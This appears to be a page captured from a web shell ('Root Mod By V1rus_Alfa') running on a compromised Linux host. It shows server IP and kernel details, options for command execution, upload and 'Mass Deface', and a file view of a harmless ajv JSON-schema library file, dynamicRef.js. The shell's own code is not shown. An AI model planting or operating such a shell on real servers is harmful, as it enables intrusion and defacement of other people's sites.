���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules
/
ajv
/
dist
/
vocabularies
/
dynamic
/
Viewing: dynamicRef.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.dynamicRef = void 0; const codegen_1 = require("../../compile/codegen"); const names_1 = require("../../compile/names"); const ref_1 = require("../core/ref"); const def = { keyword: "$dynamicRef", schemaType: "string", code: (cxt) => dynamicRef(cxt, cxt.schema), }; function dynamicRef(cxt, ref) { const { gen, keyword, it } = cxt; if (ref[0] !== "#") throw new Error(`"${keyword}" only supports hash fragment reference`); const anchor = ref.slice(1); if (it.allErrors) { _dynamicRef(); } else { const valid = gen.let("valid", false); _dynamicRef(valid); cxt.ok(valid); } function _dynamicRef(valid) { // TODO the assumption here is that `recursiveRef: #` always points to the root // of the schema object, which is not correct, because there may be $id that // makes # point to it, and the target schema may not contain dynamic/recursiveAnchor. // Because of that 2 tests in recursiveRef.json fail. // This is a similar problem to #815 (`$id` doesn't alter resolution scope for `{ "$ref": "#" }`). // (This problem is not tested in JSON-Schema-Test-Suite) if (it.schemaEnv.root.dynamicAnchors[anchor]) { const v = gen.let("_v", (0, codegen_1._) `${names_1.default.dynamicAnchors}${(0, codegen_1.getProperty)(anchor)}`); gen.if(v, _callRef(v, valid), _callRef(it.validateName, valid)); } else { _callRef(it.validateName, valid)(); } } function _callRef(validate, valid) { return valid ? () => gen.block(() => { (0, ref_1.callRef)(cxt, validate); gen.let(valid, true); }) : () => (0, ref_1.callRef)(cxt, validate); } } exports.dynamicRef = dynamicRef; exports.default = def; //# sourceMappingURL=dynamicRef.js.map
Coded With 💗 by
0x6ick Mod By V1rus_Alfa